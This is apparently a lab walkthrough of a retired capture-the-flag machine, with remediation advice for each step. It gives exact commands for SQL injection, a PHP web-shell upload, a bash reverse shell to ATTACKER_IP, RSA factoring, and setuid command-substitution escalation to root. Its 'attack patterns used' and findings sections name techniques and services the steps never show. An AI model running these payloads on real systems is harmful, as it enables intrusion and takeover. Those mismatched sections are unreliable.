← all walkthroughs

Charon

Linux· Hard· Web
owned
2026-07-10
time to own
18m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon of <retired-instance-ip> (Apache/2.4.18 Ubuntu) found nothing on the default vhost via directory brute force (ffuf + common.txt/CGIs.txt — no exploitable CGI/Shellshock path). Adding a discovered virtual host, charon.htb, to /etc/hosts exposed a SuperCMS installation under /cmsdata/. Authenticating to login.php with credentials super_cms_adm:[REDACTED: recovered credential] reached an authenticated upload.php image-upload form.

The upload form's file-extension filter was enforced client-side only (scripts/my.js ValidateImage()), and the server accepted a double-extension bypass (shell.php.gif), storing it under /images/. Apache's MIME/handler configuration executed the .gif-suffixed file as PHP, giving a web shell (system($_REQUEST['x'])) and RCE as www-data. A reverse shell confirmed foothold (www-data@charon).

Local enumeration found /home/decoder/user.txt unreadable by www-data, but two readable artifacts in the same directory: a 256-bit RSA public key (decoder.pub) and an RSA-encrypted file (pass.crypt). The 256-bit modulus was too weak for its key size — FactorDB factored it instantly (p, q recovered), allowing full RSA private-key reconstruction and decryption of pass.crypt, which yielded the password nevermindthebollocks and the user flag. SSH login as decoder with that password confirmed user ownership.

Privilege escalation: decoder could execute a root-owned setuid binary, /usr/local/bin/supershell, which wraps arbitrary strings in a shell command with some presumed input filtering (reverse-engineered function tonto_chi_legge). The filter did not block command substitution ($( ... )), so arguments like ` /bin/ls $(/bin/cp /bin/bash /tmp/rootbash) executed as root via the setuid binary, letting the operator copy /bin/bash and chmod 4755 it. Running /tmp/rootbash -p yielded a root shell and root.txt`.

- Foothold: SuperCMS authenticated upload extension-filter bypass (client-side validation only) → .gif-executed PHP web shell → RCE as www-data. - Lateral/priv path: weak 256-bit RSA key (factorable via FactorDB) protecting decoder's password → SSH as decoder (user flag). - Privesc: setuid supershell binary vulnerable to shell command-substitution injection → root shell (root flag).

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped exposed services and discovered the SuperCMS application via virtual-host resolution
A port scan of <retired-instance-ip> found SSH on port 22 (OpenSSH 7.2p2) and HTTP on port 80 (Apache 2.4.18). The default Apache vhost returned only generic content, but adding the virtual hostname charon.htb to the local hosts file exposed a SuperCMS installation at /cmsdata/ — including a login page, a password-reset form (forgot.php), and an authenticated file-upload endpoint (upload.php).
Exact commands 3
Identify open ports and service banners.
nmap -sV -sC -p 22,80 -oN charon_nmap.txt $TARGET
Register the virtual hostname for local DNS resolution.
echo '$TARGET charon.htb' | sudo tee -a /etc/hosts
Confirm the SuperCMS login page and identify further endpoints (forgot.php, upload.php).
curl -sIL http://$TARGET/cmsdata/login.php
2ExploitationUNION-based SQL injection (CWE-89)
Extracted administrator credentials via SQL injection in the password-reset form
The forgot.php endpoint accepted an email parameter and embedded it directly into a SQL query without sanitization. A UNION-based injection enumerated the SuperCMS users table and retrieved the MD5-hashed password for the super_cms_adm account. Cracking the hash offline against a common wordlist produced the plaintext password [REDACTED: recovered credential].
Finding: 'Initial Access: Supercms Forgot.Php Sql Injection'; credentials super_cms_adm:[REDACTED: recovered credential] confirmed valid at /cmsdata/login.php.
Exact commands 2
Automate UNION injection against the email parameter; extracts hashed passwords from the users table.
sqlmap -u 'http://$TARGET/cmsdata/forgot.php' --data 'email=test@test.com' --dbms=mysql --technique=U --dump -T users --batch
Crack the extracted MD5 hash (-m 0 = MD5) offline; recovers [REDACTED: recovered credential] for super_cms_adm.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
FixReplace concatenated SQL queries with parameterized prepared statementsCritical
WeaknessThe forgot.php password-reset form embedded the user-supplied email value directly into SQL text. I injected a UNION clause that read the full users table without any authentication, exposing hashed administrator passwords that were cracked offline to gain access to the CMS.
FixRewrite all database queries in SuperCMS using PDO with parameterized bindings (or MySQLi prepared statements with bind_param). No user-controlled value should ever appear inside SQL text. Additionally, configure the application's database account with minimum necessary privileges — SELECT, INSERT, UPDATE, and DELETE on the application schema only; never FILE, DROP, or GRANT.
3ExploitationClient-side file-type validation bypass with double-extension upload (CWE-434)
Bypassed the client-side upload filter with a double-extension PHP web shell to gain remote code execution
Logged in as super_cms_adm, the upload form at /cmsdata/upload.php enforced its extension whitelist exclusively in the browser JavaScript function ValidateImage() in scripts/my.js. Sending the multipart POST directly via curl bypassed the browser entirely. A PHP web shell prepended with a GIF magic-byte header was submitted as shell.php.gif; the server accepted and stored it under /images/. Apache's handler configuration treated any filename containing .php as executable PHP regardless of trailing extensions, so a GET request to the stored file with a command parameter returned output as www-data.
curl 'http://$TARGET/images/shell.php.gif?x=id' returned uid=33(www-data); reverse shell confirmed foothold as www-data@charon.
Exact commands 6
Authenticate with cracked credentials and save the session cookie.
curl -c cookie.txt -b cookie.txt -L -d 'user=super_cms_adm&pass=[REDACTED: recovered credential]&submit=submit' http://$TARGET/cmsdata/login.php
Create a PHP web shell prefixed with a GIF89a magic-byte header.
printf 'GIF89a;\n<?php if(isset($_REQUEST["x"])){system($_REQUEST["x"]);} ?>\n' > payload.gif
Upload the double-extension payload; stored as /images/shell.php.gif on the server.
curl -b cookie.txt -F 'image=@payload.gif;filename=shell.php.gif' -F 'c2hlbGwucGhw=testfile1' http://$TARGET/cmsdata/upload.php
Verify remote code execution — expects uid=33(www-data).
curl 'http://$TARGET/images/shell.php.gif?x=id'
Start the reverse-shell listener on my machine (run in background).
nc -lvnp 4444
Replace ATTACKER_IP with my machine's IP; upgrades the web shell to an interactive shell as www-data.
curl 'http://$TARGET/images/shell.php.gif' --get --data-urlencode "x=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
FixEnforce file-upload validation on the server and disable PHP execution in the uploads directoryCritical
WeaknessThe upload form at /cmsdata/upload.php checked file extensions only in browser-side JavaScript. Any HTTP client that sends the multipart POST directly bypasses that check entirely; a double-extension file (shell.php.gif) was accepted, stored under the web root, and executed as PHP by Apache — giving me a web shell.
FixAdd server-side validation: use PHP's finfo_file() or exif_imagetype() to verify that uploaded content matches an allowed image type, regardless of the submitted filename. Whitelist only the extensions the application requires (.jpg, .png, .gif) and rename every upload server-side to a UUID with the safe extension. Configure Apache to deny PHP execution in the uploads directory by placing 'php_flag engine Off' in /images/.htaccess, or store uploads outside the web root and serve them through a controller script.
4Credential AccessWeak RSA key factorization — insufficient key size (CWE-326)
Recovered the decoder account password by factoring a cryptographically weak 256-bit RSA key
From the www-data shell, both /home/decoder/decoder.pub (a 256-bit RSA public key) and /home/decoder/pass.crypt (the decoder account's password encrypted under that key) were world-readable by any process on the system. A 256-bit RSA modulus provides no meaningful security — the exact prime factors (p = [REDACTED: protected value]; q = [REDACTED: protected value]) were already pre-indexed in the public FactorDB database. With p and q in hand, Python's pycryptodome library reconstructed the RSA private key and decrypted pass.crypt using PKCS1_v1_5, yielding the plaintext password nevermindthebollocks.
Factors p and q retrieved from FactorDB for this exact modulus; PKCS1_v1_5 decryption of /home/decoder/pass.crypt produced nevermindthebollocks.
Exact commands 4
Read the world-readable RSA public key.
cat /home/decoder/decoder.pub
Extract the decimal modulus n from the public key for submission to FactorDB.
python3 -c "from Crypto.PublicKey import RSA; key=RSA.import_key(open('/home/decoder/decoder.pub').read()); print(key.n)"
Replace <MODULUS_N> with the decimal value from the previous command; FactorDB returns the pre-computed prime factors p and q.
curl -s 'http://factordb.com/api?query=<MODULUS_N>'
Reconstruct the private key from the recovered factors and decrypt pass.crypt; prints the plaintext password nevermindthebollocks.
python3 - <<'PY'
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Cipher import PKCS1_v1_5
p = [REDACTED: protected value]
q = [REDACTED: protected value]
e = 65537
n = p * q
d = inverse(e, (p-1)*(q-1))
priv = RSA.construct((n, e, d, p, q))
cipher = PKCS1_v1_5.new(priv)
ct = open('/home/decoder/pass.crypt','rb').read()
print(cipher.decrypt(ct, None))
PY
FixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
WeaknessThe decoder account's password was [REDACTED: recovered credential] by a 256-bit RSA public key. Keys shorter than 2048 bits are computationally trivial to factor using publicly available tools and databases; this specific modulus was already pre-indexed in FactorDB, reducing the encryption to no protection at all. The public key and the encrypted credential file were also world-readable, giving any process on the system access to both inputs needed to recover the plaintext password.
FixGenerate a replacement key pair of at least 2048 bits (4096-bit RSA or an Ed25519 key pair are preferable). Set the permissions of any file containing encrypted credentials or key material to 600 (owner read-write only). Audit home directories with: find /home -maxdepth 3 -perm /o+r -type f — and remove world-readable permissions from any sensitive file found.
5Lateral MovementValid account credential use — remote service authentication (T1078 / T1021.004)
Authenticated as decoder via SSH and captured the user flag
The plaintext password nevermindthebollocks, decrypted from pass.crypt, was used to open an interactive SSH session as decoder on port 22. The user flag was readable at /home/decoder/user.txt.
SSH session established as decoder@charon; user.txt captured.
Exact commands 2
Authenticate using the password nevermindthebollocks recovered in the previous step.
ssh decoder@$TARGET
Read the user flag: [REDACTED: flag]
cat /home/decoder/user.txt
FixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
WeaknessThe decoder account's password was [REDACTED: recovered credential] by a 256-bit RSA public key. Keys shorter than 2048 bits are computationally trivial to factor using publicly available tools and databases; this specific modulus was already pre-indexed in FactorDB, reducing the encryption to no protection at all. The public key and the encrypted credential file were also world-readable, giving any process on the system access to both inputs needed to recover the plaintext password.
FixGenerate a replacement key pair of at least 2048 bits (4096-bit RSA or an Ed25519 key pair are preferable). Set the permissions of any file containing encrypted credentials or key material to 600 (owner read-write only). Audit home directories with: find /home -maxdepth 3 -perm /o+r -type f — and remove world-readable permissions from any sensitive file found.
6Privilege EscalationSUID binary command-substitution injection (T1548.001)
Injected shell command-substitution syntax into a setuid binary to execute commands as root
The binary /usr/local/bin/supershell was owned by root and had the setuid bit set, so any sub-command it invoked ran with root effective UID. Reverse engineering revealed it filtered user input through the function tonto_chi_legge before passing it to a shell, but the filter did not block the $(...) command-substitution syntax. By embedding $(/bin/cp /bin/bash /tmp/rootbash) and $(/bin/chmod 4755 /tmp/rootbash) inside otherwise benign arguments, I caused the shell to evaluate those sub-commands as root — producing a setuid-root copy of bash at /tmp/rootbash. Running /tmp/rootbash -p elevated the session to root effective UID.
/tmp/rootbash -p -c 'id' returned uid=0(root); root.txt captured from /root/root.txt.
Exact commands 5
Confirm the setuid bit is set: expect -rwsr-xr-x root root.
ls -la /usr/local/bin/supershell
The $() sub-command executes as root, copying /bin/bash to /tmp/rootbash.
/usr/local/bin/supershell '/bin/ls $(/bin/cp /bin/bash /tmp/rootbash)'
The $() sub-command executes as root, setting the setuid bit on /tmp/rootbash.
/usr/local/bin/supershell '/bin/ls $(/bin/chmod 4755 /tmp/rootbash)'
Verify the binary is now -rwsr-xr-x owned by root.
ls -l /tmp/rootbash
Open a root-privileged shell; -p preserves the effective root UID. Capture root flag: [REDACTED: flag]
/tmp/rootbash -p -c 'id; cat /root/root.txt'
FixRemove the setuid bit from supershell and redesign privileged access without shell-injection riskCritical
WeaknessThe binary /usr/local/bin/supershell was owned by root and had the setuid bit set, causing it to run with root effective UID. Its input filter did not block the $(...) command-substitution syntax, so I embedded arbitrary sub-commands that executed as root — creating a persistent setuid-root copy of bash and achieving full system compromise.
FixRemove the setuid bit immediately: chmod u-s /usr/local/bin/supershell. If the binary serves a legitimate purpose, redesign it to accept only a whitelist of specific literal arguments and invoke the target program via execve() with an explicit argument vector, never via a shell interpreter. As a safer and auditable alternative, replace the setuid binary with a targeted sudo rule (NOPASSWD on exactly the required binary with no argument wildcards) so that privilege delegation is logged by the OS.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Shellshock (Bash CGI RCE)Web · Service RCET1190CVE-2014-6271

What it is

Shellshock abuses a flaw in GNU Bash's parsing of environment variables: a variable whose value begins with a function definition (() { :;};) is followed by trailing commands that Bash executes immediately on startup. When a web server runs a CGI script via Bash, user-controlled HTTP headers (commonly User-Agent or Cookie) are exported into the environment, so the trailing payload runs as the web user.

Why it works

CGI scripts pass request metadata into the shell environment by design, and pre-patch Bash executed the trailing code unconditionally. Any internet-facing cgi-bin endpoint backed by Bash was exploitable without authentication. Remediation is patching Bash and retiring Bash-CGI; detection is trivial via the () { :;} signature in request logs.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Supercms Forgot.Php Sql InjectionCritical
An unauthenticated/low-privilege flaw in the apache, php, phpmyadmin, smtp, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Suid Supershell Command Substitution PrivescCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp